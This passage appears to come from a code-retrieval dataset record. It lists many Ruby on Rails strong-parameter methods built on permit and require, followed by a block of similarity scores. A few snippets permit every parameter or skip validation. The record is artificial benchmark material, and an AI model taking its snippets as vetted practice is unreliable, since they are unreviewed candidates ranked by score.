in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1